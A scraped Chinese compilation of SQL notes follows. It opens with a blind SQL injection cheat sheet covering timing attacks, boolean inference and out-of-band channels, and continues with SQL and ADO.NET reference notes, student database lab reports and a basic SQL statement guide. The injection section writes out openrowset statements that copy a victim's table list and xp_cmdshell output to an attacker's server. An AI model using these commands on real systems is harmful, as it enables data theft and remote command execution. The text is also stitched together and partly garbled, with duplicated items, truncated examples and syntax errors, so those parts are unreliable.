第一篇：SQL盲注總結
SQL盲注總結：
１．尋找并確認SQL盲注：
１．強制產生通用錯誤 ２．注入帶副作用的查詢：
計時攻擊（SQL Server：waitfor delay ‘time’;MySQL:sleep;PostgreSQL:pg_sleep）利用輸出進行判斷（and 1=2 或者 or 1=1）
３．拆分和平衡（利用不同數據庫使用不同連字符進行判斷）４．常見的盲注情景：
（１）提交錯誤sql語句返回內容可控的頁面（２）提交錯誤sql語句返回內容可控的頁面
（３）不產生錯誤頁面，不會影響頁面輸出（一般需要使用基于時間的盲注）５．各數據庫位操作符：
MySQL,PostgreSQL,SQL Server: 與(AND)或(OR)非(XOR): I&J I|J I^J ２．基于時間的SQL盲注技術：
1.SQL Server：waitfor delay ‘time’;MySQL:sleep;PostgreSQL:pg_sleep 2.PostgreSQL: 創建PL/pgSQL的延遲函數 3.二分法確認sql查詢的值（腳本）
4.防止不可控的時間延時干擾判斷：設置足夠長的時間延時，遠超正常值；同時發送兩個請求語句，一個True時延遲，一個在False時延遲
３．基于響應的SQL盲注技術：
根據頁面的相應判斷True/False
多重判斷語句 Case When something: Som..When something1: Som..1 或者case后兩個查詢一個（>）或（<），另一個為（＝）
４．使用非主流通道：
１．數據庫連接：
（１）SQL Server:使用openrowset函數連接遠程數據庫，使用insert語句將被攻擊服務
器上的數據傳到自己控制的服務器數據庫上
insert into openrowset(‘sqloledb’,network=dbmsocn;address=你的ip;uid=你的username;pwd=password,’select * from attacker_table’)select name from
sysobject where xtype = ‘U’
也可以利用xp_cmdshell執行系統命令，將回顯傳回自己數據庫中
insert into openrowset(‘sqloledb’,network=dbmsocn;address=你的ip;uid=你的username;pwd=password,’select * from attacker_table’)exec
master..xp_cmdshell ‘dir c:’
（２）PostgreSQL:啟用dblink,利用dblink命令從攻擊者數據庫向被攻擊者發送數據，但相
關系列函數僅對行進行操作，而不是結果集，需要編寫依靠游標遍歷數據的PL/pgSQL
函數
２．dns滲漏（常用）：(1)dns的優點:(2)
３．htttp滲漏（oracle）： ４．email滲漏（很難利用）： ５．icmp滲漏（很少見）：
第二篇：SQL總結
1.SQL語句的With cte as用法：
with as短語，也叫做子查詢部分。即定義一個SQL片斷，該片斷會讓整個SQL語句所用到。eg：
with
cr as
(select CountryRegionCode from person.CountryRegion where Name like 'C%')
select * from person.StateProvince where CountryRegionCode in(select * from cr)
CTE后面必須直接跟使用CTE的SQL語句(如select,insert,update等)，否則，CTE將失效。CTE后面也可以跟其他的CTE，但只能使用一個with，多個CTE中間用逗號(,)分隔。eg：
with
cte1 as
(select * from table1 where name like 'abc%'),cte2 as
(select * from table2 where id > 20),cte3 as
(select * from table3 where price < 100)
select a.* from cte1 a, cte2 b, cte3 c where a.id = b.id and a.id = c.id
2.case when then多條件判斷：
CASE
WHEN 條件1 THEN 結果1
WHEN 條件2 THEN 結果2
WHEN 條件3 THEN 結果3
WHEN 條件4 THEN 結果4
.........WHEN 條件N THEN 結果N
ELSE 結果X
END
Case具有兩種格式。簡單Case函數和Case搜索函數。
--簡單Case函數
CASE sex
WHEN '1' THEN '男'
WHEN '2' THEN '女'
ELSE '其他' END
--Case搜索函數
CASE WHEN sex = '1' THEN '男'
WHEN sex = '2' THEN '女'
ELSE '其他' END
3.select語句前面加@轉義字符的作用是強制后面的字符串中不使用轉義字符，當作字符串
處理。
eg：string ss=@“aanaa”;輸出：aanaa
string ss=“aanaa”;
輸出：aa
aa
4.select getdate()：從SQL SERVER返回當前的時間與日期。
select first():函數返回指定的字段中第一個記錄的值。
select last():函數返回指定的字段中最后一個記錄的值。
select ucase():把字段的值轉換為大寫。
select lcase():把字段的值轉換為小寫。
select round():用于把數值字段設入為指定的小數位數。SELECT ROUND(column_name,decimals)FROM table_name
column_name 必需。要舍入的字段。decimals 必需。規定要返回的小數位數。format():用于對字段的顯示進行格式化。
SELECT ProductName, UnitPrice, FORMAT(Now(),'YYYY-MM-DD')as PerDate FROM Products
5.union與union all的區別：
對重復結果的處理，UNION ALL 會將每一筆符合條件的資料都列出來，無論資料值有無重復
6.SELECT INTO 語句從一個表中選取數據，然后把數據插入另一個表中。
SELECT INTO 語句常用于創建表的備份復件或者用于對記錄進行存檔。
將整個table1復制到table2中：
INSERT INTO SELECT語句
語句形式為：Insert into Table2(field1,field2,...)select value1,value2,...from Table1（要求目標表Table2必須存在，由于目標表Table2已經存在，所以我們除了插入源表Table1的字段外，還可以插入常量。）
SELECT INTO FROM語句
語句形式為：SELECT value1, value2 into Table2 from Table1（要求目標表Table2不存在，因為在插入時會自動創建表Table2，并將Table1中指定字段數據復制到Table2中）
7.nchar ：固定長度的 Unicode 數據，最大長度為 4,000 個字符。
nvarchar：可變長度Unicode 數據，其最大長度為4,000字符。
char: 固定長度的非 Unicode 字符數據，最大長度為 8,000 個字符。
varchar：可變長度的非Unicode數據，最長為8,000 個字符。
char和varchar都是字符串類型的，用Unicode編碼的字符串,結果是字符的整數值.8.select 1 from:
select 1 from mytable;與select anycol(目的表集合中的任意一行）from mytable;與select * from mytable 作用上來說是沒有差別的，都是查看是否有記錄，一般是作條件用的。select 1 from 中的1是一常量，查到的所有行的值都是它，但從效率上來說，1>anycol>*，因為不用查字典表。
查看記錄條數可以用select sum(1)from mytable;等價于select sum(*)from mytable;
9.SQL中的字符匹配：
[NOT] LIKE '<匹配串>' [ESCAPE '<換碼字符>']
<匹配串>可以是一個完整的字符串，也可以含有通配符%和_
%代表任意長度的字符串。eg：a%b表示以a開頭以b結尾的任意長度的字符串。_代表任意單個字符。eg：a_b表示以a開頭，以b結尾的長度為3的任意字符串。ESCAPE定義轉義字符，當轉義符置于通配符之前時，該通配符解釋為普通字符。
10.GROUP BY子句將查詢結果按某一列或多列的值分組，值相等的為一組。HAVING短語給出選擇組的條件。
11.ROW_NUMBER()OVER函數的基本用法 ：
row_number()OVER(PARTITION BY COL1 ORDER BY COL2)表示根據COL1分組，在分組內部根據 COL2排序，而此函數計算的值就表示每組內部排序后的順序編號（組內連續的唯一的)
select row_number()over(order by field2 desc)as row_number,* from t_table order by field1 desc Desc：倒序，Asc：正序
12.DbDataAdapter.Fill 方法(DataTable, IDbCommand, CommandBehavior)：
在DataTable中添加或刪除新行以匹配使用指定 DataTable 和 IDataReader 名稱的數據源中的行。
13.SqlCommand.ExecuteScalar 方法：執行查詢，并返回查詢所返回的結果集中第一行的第一列，忽略其他列或行。
14.inner join(等值連接)只返回兩個表中聯結字段相等的行
left join(左聯接)返回包括左表中的所有記錄和右表中聯結字段相等的記錄
right join(右聯接)返回包括右表中的所有記錄和左表中聯結字段相等的記錄
15.e.Item.ItemType==ListItemType.Item||e.Item.ItemType==ListItemType.AlternatingItem指觸發的類型為DadaList中的基本行或內容行
16.order by的用法：
如果Order by 中指定了表達式Nulls first則表示null值的記錄將排在最前(不管是asc 還是 desc)
如果Order by 中指定了表達式Nulls last則表示null值的記錄將排在最后(不管是asc 還是 desc)
eg：將nulls始終放在最前
select * from zl_cbqc order by cb_ld nulls first
--將nulls始終放在最后
select * from zl_cbqc order by cb_ld desc nulls last
單列升序：select
單列降序：select
多列升序：select
多列降序：select
多列混合排序：select
17.C#中NULL,“",DBNULL,String.Empty,Convert.IsDBNull區別
(1)NULL
null 關鍵字是表示不引用任何對象的空引用的文字值。null 是引用類型變量的默認值。那么也只有引用型的變量可以為NULL，如果 int i=null,的話，是不可以的，因為Int是值類型的。
(2)DBNULL
DBNull在DotNet是單獨的一個類型,該類只能存在唯一的實例,DBNULL.Value,DBNull唯一作用是可以表示數據庫中的字符串，數字，或日期，為什么可以表示原因是DotNet儲存這些數據的類（DataRow等）都是以 object 的形式來儲存數據的。對于 DataRow , 它的 row[column] 返回的值永遠不為 null，要么就是具體的為column 的類型的值。要么就是 DBNull。所以 row[column].ToString()這個寫法永遠不會在ToString那里發生NullReferenceException。DBNull 實現了 IConvertible。但是，除了 ToString 是正常的外，其他的ToXXX都會拋出不能轉換的錯誤。
(3)”“和String.Empty
這兩個都是表示空字符串，其中有一個重點是string str1=”“ 和 string str2=null 的區別，這樣定義后，str1是一個空字符串，空字符串是一個特殊的字符串，只不過這個字符串的值為空，在內存中是有準確的指向的，string str2=null,這樣定義后，只是定義了一個string 類的引用，str2并沒有指向任何地方，在使用前如果不實例化的話，都將報錯。
(4)Convert.IsDBNull()
Convert.IsDBNull()返回有關指定對象是否為 DBNull 類型的指示,即是用來判斷對象是否為DBNULL的。其返回值是True或Flase。
string.Empty不分配存儲空間
”“分配一個長度為空的存儲空間
所以一般用string.Empty
null表示一個對象的指向無效，即該對象為空對象
DBNull。Value表示一個對象在數據庫中的值為空，或者說為初始化，DBNull。Value對象指向有效的對象
18.DataSet.Relations.add()：獲取用于將表鏈接起來并允許從父表瀏覽到子表的關系的集合。DataSet.Relations.Add(”關聯名稱“, 父關聯主鍵字段, 子關聯外來鍵字段)
19.DataBind():在Page_Load方法中我們建立了一個數組(ArrayList),并通過DataBind方法將這個數組捆綁到了DropDownList控件中，使得DropDownList最后有數據顯示：）
20.IN 操作符允許我們在 WHERE 子句中規定多個值。
SQL IN 語法:SELECT column_name(s)FROM table_nameWHERE column_name IN(value1,value2,...)
21.DataBinder.Eval方法:在運行時使用反射來分析和計算對象的數據綁定表達式<%# DataBinder.Eval(Container.DataItem, ”ColumnName“)%>
eval()函數可計算某個字符串，并執行其中的的 JavaScript 代碼。
可以理解為反射的綁定
或者理解為將Eval()里的字符串轉換為表達式
在數據綁定的時候常用，其實是通過反射的手段實現了綁定
22.sql語句 count(1)與 count(*)的區別 :
count(1)，其實就是計算一共有多少符合條件的行。
1并不是表示第一個字段，而是表示一個固定值。
其實就可以想成表中有這么一個字段，這個字段就是固定值1，count(1)，就是計算一共有多少個1.count(*)，執行時會把星號翻譯成字段的具體名字，效果也是一樣的，不過多了一個翻譯的動作，比固定值的方式效率稍微低一些。
23.DataTable.NewRow ：創建與該表具有相同框架的新的DataRow
24.ExcuteNonQuery():
如果要創建或修改數據庫結構，操作成功時返回值為-1；如果要更新記錄，返回值為操作影響的記錄數；
ExecuteNonQuery()方法主要用于用戶更新數據，通常它使用Update,Insert,Delete語句來操作數據庫，其方法返回值意義：對于 Update,Insert,Delete 語句 執行成功是返回值為該命令所影響的行數，如果影響的行數為0時返回的值為0，如果數據操作回滾得話返回值為-1，關于MyCommand的ExecuteNonQuery(),ExecuteScalar(),ExecuteReader方法的區別:
***ExecuteNonQuery():執行SQL，返回一個整型變量，如果SQL是對數據庫的記錄進行操作，那么返回操作影響的記錄條數，如果是SQL=”CREATE TABLE LookupCodes(code_id smallint IDENTITY(1,1)PRIMARY KEY CLUSTERED, code_desc varchar(50)NOT NULL)"那么在表創建成功后該方法返回-1。
***ExecuteScalar()：執行SQL，（如果SQL是查詢Select）返回查詢結果的第一行第一列，如果（如果SQL不是查詢Select）那么返回未實列化的對象，因為對象未實列化，所以返回結果不能ToString(),不能Equals(null)，也就是說返回結果沒有任何作用
***executeReader方法執行SQL，（如果SQL是查詢Select）返回查詢結果的集合，類型是 System.Data.OleDb.OleDbDataReader，你可以通過此結果，獲取查詢的數據。如果（如果SQL不是查詢Select）那么返回一個沒有任何數據的System.Data.OleDb.OleDbDataReader類型的集合(EOF)
25.DbDataAdapter.Fill 方法(DataTable)：在 DataSet 的指定范圍中添加或刷新行，以與使用 DataTable 名稱的數據源中的行匹配。
26.Decimal：decimal(2,1)，有效長度為2，小數位占1位。
varchar：可變長度的非Unicode數據，最長為8,000 個字符。
nvarchar：可變長度Unicode 數據，其最大長度為4,000字符。
char: 固定長度的非 Unicode 字符數據，最大長度為 8,000 個字符。
nchar ：固定長度的 Unicode 數據，最大長度為 4,000 個字符。
char和varchar都是字符串類型的，用Unicode編碼的字符串,結果是字符的整數值.timestamp:數據類型是一種特殊的數據類型，用來創建一個數據庫范圍內的唯一數碼。一個表中只能有一個timestamp列。每次插入或修改一行時，timestamp列的值都會改變。盡管它的名字中有“time”，但timestamp列不是人們可識別的日期。在一個數據庫里,timestamp值是唯一的Uniqueidentifier特殊數據型
SELECT UPPER('Kelly'):upper是數據庫的字符串函數，它的作用是將傳遞給它的英文字符串中小寫字母轉換為大寫（大寫的保持不變）；
SELECT LOWER('kelly'):lower將指定字符串中的大寫字母換成小寫字母
SUBSTRING（colunm name,startposition,length）從指定字符串中取字符
eg:SQL實例：
顯示每個地區的總人口數和總面積．
SELECT region, SUM(population), SUM(area)
FROM bbc
GROUP BY region
先以region把返回記錄分成多個組，這就是GROUP BY的字面含義。分完組后，然后用聚合函數對每組中的不同字段（一或多條記錄）作運算。
顯示每個地區的總人口數和總面積．僅顯示那些面積超過1000000的地區。
SELECT region, SUM(population), SUM(area)
FROM bbc
GROUP BY region
HAVING SUM(area)>1000000
27.SELECT [ALL|DISTINCT] <目標列表達式> [別名] [，<目標列表達式> [別名]]…… FROM <表名或視圖名> [別名] [,<表名或視圖名> [別名]]……
[WHERE <條件表達式>]
[GROUP BY <列名1> [HAVING <條件表達式>]]
[ORDER BY <列名2> [ASC|DESC]]
INSERT
INTO <表名> [(<屬性列1>[,<屬性列2>……])]
VALUES(<常量1> [,<常量2>]……)
UPDATE <表名>
SET <列名>=<表達式> [,<列名>=<表達式>]……
[WHERE <條件>]
DELETE
FROM <表名>
[WHERE <條件>]
第三篇：SQL實驗報告總結
《數據庫系統概論（第四版）》
體
會
學號： 姓名： 班級： 教師：
學
期實 驗 總 結 與 心 得
【實驗名稱】 數據庫的創建 【實驗內容】
1、新建sql注冊表。
2、新建數據庫。主數據文件：邏輯文件名為student_data，物理文件名為student.mdf，初始大小為10mb，最大尺寸為無限大，增長速度為10%；
數據庫的日志文件：邏輯名稱為student_log，物理文件名為student.ldf，初始大小為1mb，最大尺寸為5mb，增長速度為 1mb
3、修改已注冊的sql server屬性為使用sql server身份驗證。
【實驗名稱】 數據庫的附加、分離、導入導出及分離 【實驗內容】 1.數據庫文件的附加與分離(轉載于:sql實驗報告總結)2.數據庫文件的導入和導出 3..數據庫的刪除 4.修改數據庫
【實驗名稱】 數據庫的創建（書中作業）【實驗內容】 1.在數據庫student中創建一個學生基本信息表 1．用企業管理其創建表 2．用查詢分析器創建表 2．sql server 2005的系統數據類型分為哪幾類？常用的數據類型有哪些？
答：字符串類型、整型、長整型、短整型、浮點數類型、定點數類型、日期、時間。常用的數據類型有：字符串類型、整型、長整型、短整型、浮點數類型、定點數類型、日期、時間
3．在數據庫student中創建一個名為t_couse(課程信息表)1．用企業管理其創建t_course表 2．用查詢分析器創建t_course 4.在數據庫student中創建一個名為t_score(學生成績)的表 5.sql server 2005 中有多少種約束？其作用分別是什么
答：非空約束，作用指定某一列不允許空值有助于維護數據的完整性，因為這樣可以確保行中的列永遠保護數據。
主鍵約束，作用可以保證實體的完整性，是最重要的一種約束。唯一約束，作用指定一個或多個列的組合值具有唯一性，以防止在列中輸入重復的值。
檢查約束，作用對輸入列或者整個表中的值設置檢查條件，以限制輸入值，保證數據庫數據的完整性。
默認約束，作用指定在插入操作中如果沒有提供輸入值。怎系統自動指定值。外鍵約束，作用主要用來維護兩個表之間數據的一致性。6．分別為t_course表和t_score表創建唯一性約束、檢查約束、默認約束。篇二：sql server綜合實驗報告
華北科技學院計算機系綜合性實驗
實 驗 報 告 課程名稱 數據庫系統 實驗學期 2010 至 2011 學年 第 二 學期
學生所在系部 計算機系 年級 二年級 專業班級
網絡工程b093班
學生姓名
沈亞強
學號
200907024313
任課教師
郭紅 實驗成績
計算機系制
實驗報告須知
1、學生上交實驗報告時，必須為打印稿（a4紙）。頁面空間不夠，可以順延。
2、學生應該填寫的內容包括：封面相關欄目、實驗地點、時間、目的、設備環境、內容、結果及分析等。
3、教師應該填寫的內容包括：實驗成績、教師評價等。
4、教師根據本課程的《綜合性實驗指導單》中實驗內容的要求，評定學生的綜合性實驗成績；要求在該課程期末考試前將實驗報告交給任課教師。綜合性實驗
中，所涉及的程序，文檔等在交實驗報告前，拷貝給任課教師。任課教師統一
刻錄成光盤，與該課程的期末考試成績一同上交到系里存檔。
5、未盡事宜，請參考該課程的實驗大綱和教學大綱。《
數據庫系統
》課程綜合性實驗報告 篇三：數據庫上機實驗報告+總結
數據庫集中上機報告
學 生： 馬志鵬 學 號： 0221090118 班 級： 02210901 專
業：計算機應用技術 重慶郵電大學移通學院 2011年6月
第一天：access數據庫基本操作 1 實驗目的
1、熟悉的掌握access數據庫結構與創建
2、了解創建、修改、刪除、查詢、保存等操作
3、輸入數據創建、設計器創建、向導創建。2 實驗內容 3 實驗結果
1.2.2 2 access數據表的編輯
第二天 數據表基本操作 1 表關系與編輯數據 1 實驗目的：
1、實現一對一，一對多，多對多的實體關系
2、對“學生基本信息”表中的記錄進行排序，按出生日期降序排列
3、從“學生基本信息”表中篩選出所有計算機系男生的記錄
4、從“學生基本信息”表中篩選出回族和蒙古族的所有學生記錄 3 2 實驗內容
1.select 學生基本信息表.學生姓名, 成績檔案表.* from 成績檔案表 inner join 學生基本信息表 on 成績檔案表.學生學號 = 學生基本信息表.學生學號
where(((學生基本信息表.學生姓名)=張冰冰));2 select 學生基本信息表.* from 學生基本信息表 where(((學生基本信息表.性別)=男)and((學生基本信息表.班級名稱)=計算機系));3 select 成績檔案表.c語言, 課程表.* from 成績檔案表, 課程表;4 select 學生基本信息表.*, 學生基本信息表.性別, 學生基本信息表.班級名稱 from 學生基本信息表 where(((學生基本信息表.性別)<>男)and((學生基本信息表.班級名稱)<>計算機系));5 select 學生基本信息表.*, 學生基本信息表.出生日期 from 學生基本信息表 where(((month([出生日期]))=9)and((day([出生日
期]))=1));6 select 學生基本信息表.* from 學生基本信息表 where(((學生基本信息表.學生姓名)like 李*));3 實驗結果 4 第3天 sql查詢設計 1 sql語言查詢 1 實驗目的：
熟悉了解sql語句 5 篇四：sqlserver實驗報告—數據庫和表的創建
數據庫實驗報告
課程名稱信息系統數據庫技術 實驗名稱 數據表的管理 專業班級
姓 名
學 號 實驗日期
實驗地點 2012—2013學 第 一 學期 篇五：數據庫上機實驗報告sql server 2000 課程代碼：1010000450 數據庫 database 學分：3 總學時：48 實驗學時：16 面向專業：信息與計算科學，數學與應用數學
一、實驗教學目標
數據庫是計算機科學與技術專業的專業必修課程。課程內容主要包括：數據模型、關系代數、關系數據庫標準語言sql、關系系統、關系數據理論、數據庫設計方法。學習本課程的過程中，只有通過上機實驗，才能使學生真正深層次了解數據庫系統的體系結構，掌握數據庫系統的基礎理論、技術和方法，掌握主流數據庫管理系統sql server 2000的應用技術及數據庫應用系統的設計、開發能力。
二、實驗教學基本要求
認真閱讀教材中與實驗相關的章節內容，提前做好實驗準備，做到在每個實驗前明確實驗目的、掌握實驗的基本內容及操作方法；在實驗中正確使用實驗設備，認真觀察、分析實驗結果；實驗后要根據要求做好總結，寫出實驗報告。
三、實驗教材或實驗指導書
《數據庫系統概論》，薩師煊 王珊主編，高等教育出版社
四、考核方式與評分辦法 實驗成績評定分兩部分：上機實驗操作占50％，實驗報告占50％。
五、實驗項目設置
六、實驗內容與實驗方式
實驗一
安裝sql server 2000
（一）實驗內容 1．安裝microsoft的數據庫服務軟件sql server 2000。以sql server2000企業版為例安裝教程
第一步：打開安裝文件中的“autorun”文件，安裝程序會自動運行出現版本選擇界面，我們以選擇企業版為例。
第二步：在接下來的界面中選擇“安裝數據庫服務器”選項。
第三步：這時出現安裝向導，出現“計算機名”窗口。“本地計算機”是默認選項，其名稱就顯示在上面，我們按其默認點“下一步”。
第四步：接下來，在“安裝選擇”對話窗口中，同樣按其默認項“創建新的sql server實例，或安裝客戶端工具”點下一步。
第五步：在 用戶信息 窗口，輸入用戶信息，并接受軟件許可證協議。
第六步：在 安裝定義窗口，選擇 服務器和客戶端工具 選項進行安裝。我們需要將服務器和客戶端同時安裝，這樣在同一臺機器上，我們可以完成相關的所有操作，對于我們學習sql server很有用處。如果你已經在其它機器上安裝了sql server，則可以只安裝客戶端工具，用于對其它機器上sql server的存取。
第七步：在 實例名 窗口，選擇 默認 的實例名稱。這時本sql server的名稱將和windows 2000服務器的名稱相同。第八步：在 安裝類型 窗口，選擇 典型 安裝選項，并指定 目的文件夾。
第九步：在 服務賬號 窗口，請選擇 對每個服務使用統一賬戶...的選項。在 服務設置 處，選擇 使用本地系統賬戶。如果需要 使用域用戶賬戶 的話，請將該用戶添加至windows server的本機管理員組中。
第十步：在 身份驗證模式 窗口，請選擇 混合模式...選項，并設置管理員sa賬號的密碼。如果需要更高的安全性，則可以選擇 windows身份驗證模式，這時就只有windows server的本地用戶和域用戶才能使用sql server了。
第十一步：在 選擇許可模式 窗口，根據您購買的類型和數量輸入（0表示沒有數量限制）。每客戶表示同一時間最多允許的連接數，處理器許可證表示該服務器最多能安裝多少個cpu。筆者這里選擇了 每客戶 并輸入了100作為示例。
第十二步：約10多分鐘的安裝時間，然后打開開始菜單下的sql子目錄下的企業管理器。2．熟悉軟件的使用以及各個組成部分。
第一：打開企業管理器，可以對本地的數據進行管理，也可以登錄服務器端，即可以遠程操作自己的數據庫 ；
第二：登錄查詢分析器，可以通過sql管理語句，對數據庫進行管理。
（二）實驗方式與分組要求
老師先講解十分鐘，學生上機操作數據庫sql server2000，最后老師檢查操作結果。每次86組，每組1人。
實驗二
啟動sql server2000和建庫、表
（一）實驗內容 1．啟動數據庫服務軟件sql server 2000。第一步：打開企業管理器，可以登錄服務器端，即可以遠程操作自己的數據庫，登錄步驟如下； 第二步：左側方框中控制臺根目錄的子目錄的sql server組上，右擊，并新建sql server注冊?； 第三步：在“服務器”一欄里輸入想要登錄的服務器ip地址，選擇使用sql server身份驗證，寫入登錄名和密碼，就可以登錄了。
第四步：登錄查詢分析器，可以通過sql管理語句，對數據庫進行管理。2．在sql server 2000中建立數據庫。
第一步：通過企業管理器進入服務器端以后，可以在數據庫文件里“新建數據庫”。第二步：輸入數據庫名稱。
第三步：通過相關需求對數據庫的相關屬性進行設置，然后完成。3．在數據庫上建立表。第一步：登錄企業管理器
第二步：進入自己的database，并打開“表”選項；
第三步：在表選項右側空白處，點擊右鍵，選擇“新建表?”；
第四步：在彈出的窗口中，分別填寫列名，數據類型，長度和是否允許空值，然后關閉窗口。第五步：關閉窗口會彈出是否保存表，選擇是，接下來彈出的窗口中填寫表名即可。
（二）實驗方式與分組要求
老師先講解十分鐘，學生上機操作數據庫sql server2000，最后老師檢查操作結果。每次86組，每組1人。
實驗三
sql server2000查詢分析器
（一）實驗內容 1．啟動數據庫服務軟件sql server 2000的查詢分析器。第一步：在登錄企業管理器的前提下，登錄查詢分析器。
第二步：登錄查詢分析器與登錄企業管理器類似，需要輸入ip地址或者如果是本地數據庫，直接用windows身份驗證即可。2．在查詢分析器中建立表。
第一步：在查詢分析器命令欄里輸入以下語句： 定義一個學生-課程模式s-t create schema “s-t” authorization wang /*為用戶wang定義了一個模式s-t*/ 然后點擊“分析查詢”和“執行查詢”。第二步：在查詢分析器命令欄里輸入以下語句：
建立“學生”表student，學號是主碼，姓名取值唯一 create table student(sno
char(9)primary key, /* 列級完整性約束條件*/ sname char(20)unique, /* sname取唯一值*/ ssex char(2), sage smallint, sdept char(20));然后點擊“分析查詢”和“執行查詢”。
（二）實驗方式與分組要求
老師先講解十分鐘，學生上機操作數據庫sql server2000，最后老師檢查操作結果。每次86組，每組1人。
實驗四
sql語言的ddl
（一）實驗內容 1．用如下語句對表進行操作：create table 建表；drop table 刪除表；alter table 更改表。
create table student(sno char(4)primary key)drop table student /*當student表與其他數據有級聯關系或者其他關系時，不能刪除。*/ alter table student add s_entrance date null/*向student表增加“入學時間”列，其數據類型為日期型*/ alter table student drop column sno /*刪除student表中的sno這一列，含有以下關系的列不能被刪除： ? 被復制列。
? 用在索引中的列。
? 用在 check、foreign key、unique 或 primary key 約束中的列。? 有相關聯的默認值（由 default 關鍵字定義）的列，或綁定到默認對象的列。? 綁定到規則的列。*/ 2．用如下語句對視圖進行操作：create view 建視圖；drop view 刪除視圖。/*創建一個is_student視圖，視圖中返回來自于表student中sdept=’is’的所有學生的sno,sname,sage列*/ create view is_student
as
select sno,sname,sage
from student where sdept=is /*刪除is_student視圖*/ drop view is_student 3．如下語句對索引進行操作：create index 建立索引；drop index 刪除索引。/*創建一個stusname索引，在student 表中以sname列升序排列*/ create clustered index stusname on student(sname)/*刪除student表中的stusname索引*/ drop index student.stusname
（二）實驗方式與分組要求
老師先講解十分鐘，學生上機操作數據庫sql server2000，最后老師檢查操作結果。每次86組，每組1人。
實驗五 sql語言的dml
（一）實驗內容 1．啟動數據庫服務軟件sql server 2000的查詢分析器，用insert語句對表進行插入操作。/*將一個新學生元組（學號：200215128；姓名：陳冬；性別：男；所在系：is；年齡：18歲）插入到student表中*/ insert into student(sno,sname,ssex,sdept,sage)values(200215128,陳冬,男,is,18)/*學生張成民的信息插入到student表中*/ insert into student values(200215126,張成民,18,cs,男)/*對表student中每一個系，求學生的平均年齡，并把結果存入表dept_age表中。*/ 第一步：create table dept_age(sdept char(15), /* 系名*/ avg_age smallint)/*學生平均年齡*/ 第二步：insert into dept_age(sdept,avg_age)
select sdept,avg(sage)from student group by sdept 2．用update語句對表中已有的記錄進行修改。/*將學生200215121的年齡改為22歲*/ update student set sage=22 where sno=200215121 /*將所有學生的年齡增加1歲*/ update student set sage= sage+1 /*將cs系全體學生的成績置零*/ update sc set grade=0 where cs=(select sdept from student where student.sno = sc.sno)3．用delete語句對表中已有的記錄進行刪除。
第四篇：SQL語句經典總結
SQL語句經典總結
一、入門
1、說明：創建數據庫
CREATE DATABASE database-name2、說明：刪除數據庫 drop database dbname
3、說明：備份sql server---創建 備份數據的 device USE master EXEC sp_addumpdevice 'disk', 'testBack', 'c:mssql7backupMyNwind_1.dat'---開始 備份
BACKUP DATABASE pubs TO testBack
4、說明：創建新表
create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..)根據已有的表創建新表：
A：create table tab_new like tab_old(使用舊表創建新表)
B：create table tab_new as select col1,col2? from tab_old definition only
5、說明：刪除新表 drop table tabname
6、說明：增加一個列
Alter table tabname add column col type
注：列增加后將不能刪除。DB2中列加上后數據類型也不能改變，唯一能改變的是增加varchar類型的長度。
7、說明：添加主鍵： Alter table tabname add primary key(col)說明：刪除主鍵： Alter table tabname drop primary key(col)
8、說明：創建索引：create [unique] index idxname on tabname(col?.)刪除索引：drop index idxname
注：索引是不可更改的，想更改必須刪除重新建。
9、說明：創建視圖：create view viewname as select statement 刪除視圖：drop view viewname
10、說明：幾個簡單的基本的sql語句 選擇：select * from table1 where 范圍
插入：insert into table1(field1,field2)values(value1,value2)刪除：delete from table1 where 范圍
更新：update table1 set field1=value1 where 范圍
查找：select * from table1 where field1 like ’%value1%’---like的語法很精妙，查資料!排序：select * from table1 order by field1,field2 [desc] 總數：select count as totalcount from table1 求和：select sum(field1)as sumvalue from table1平均：select avg(field1)as avgvalue from table1 最大：select max(field1)as maxvalue from table1 最小：select min(field1)as minvalue from table1
11、說明：幾個高級查詢運算詞 A： UNION 運算符
UNION 運算符通過組合其他兩個結果表（例如 TABLE1 和 TABLE2）并消去表中任何重復行而派生出一個結果表。當 ALL 隨 UNION 一起使用時（即 UNION ALL），不消除重復行。兩種情況下，派生表的每一行不是來自 TABLE1 就是來自 TABLE2。B： EXCEPT 運算符
EXCEPT 運算符通過包括所有在 TABLE1 中但不在 TABLE2 中的行并消除所有重復行而派生出一個結果表。當 ALL 隨 EXCEPT 一起使用時(EXCEPT ALL)，不消除重復行。
C： INTERSECT 運算符
INTERSECT 運算符通過只包括 TABLE1 和 TABLE2 中都有的行并消除所有重復行而派生出一個結果表。當 ALL 隨 INTERSECT 一起使用時(INTERSECT ALL)，不消除重復行。注：使用運算詞的幾個查詢結果行必須是一致的。
12、說明：使用外連接
A、left（outer）join：
左外連接（左連接）：結果集幾包括連接表的匹配行，也包括左連接表的所有行。SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c B：right（outer）join:
右外連接(右連接)：結果集既包括連接表的匹配連接行，也包括右連接表的所有行。C：full/cross（outer）join：
全外連接：不僅包括符號連接表的匹配行，還包括兩個連接表中的所有記錄。
12、分組:Group by: 一張表，一旦分組 完成后，查詢后只能得到組相關的信息。
組相關的信息：（統計信息）count,sum,max,min,avg 分組的標準)
在SQLServer中分組時：不能以text,ntext,image類型的字段作為分組依據 在selecte統計函數中的字段，不能和普通的字段放在一起；
13、對數據庫進行操作：
分離數據庫： sp_detach_db;附加數據庫：sp_attach_db 后接表明，附加需要完整的路徑名 14.如何修改數據庫的名稱:
sp_renamedb 'old_name', 'new_name'
二、提升
1、說明：復制表(只復制結構,源表名：a 新表名：b)(Access可用)法一：select * into b from a where 1<>1（僅用于SQlServer）法二：select top 0 * into b from a
2、說明：拷貝表(拷貝數據,源表名：a 目標表名：b)(Access可用)insert into b(a, b, c)select d,e,f from b;
3、說明：跨數據庫之間表的拷貝(具體數據使用絕對路徑)(Access可用)insert into b(a, b, c)select d,e,f from b in ‘具體數據庫’ where 條件 例子：..from b in '“&Server.MapPath(”.“)&”data.mdb“ &”' where..2
4、說明：子查詢(表名1：a 表名2：b)select a,b,c from a where a IN(select d from b)或者: select a,b,c from a where a IN(1,2,3)
5、說明：顯示文章、提交人和最后回復時間
select a.title,a.username,b.adddate from table a,(select max(adddate)adddate from table where table.title=a.title)b
6、說明：外連接查詢(表名1：a 表名2：b)select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c
7、說明：在線視圖查詢(表名1：a)select * from(SELECT a,b,c FROM a)T where t.a > 1;
8、說明：between的用法,between限制查詢數據范圍時包括了邊界值,not between不包括 select * from table1 where time between time1 and time2 select a,b,c, from table1 where a not between 數值1 and 數值2
9、說明：in 的使用方法
select * from table1 where a [not] in(‘值1’,’值2’,’值4’,’值6’)
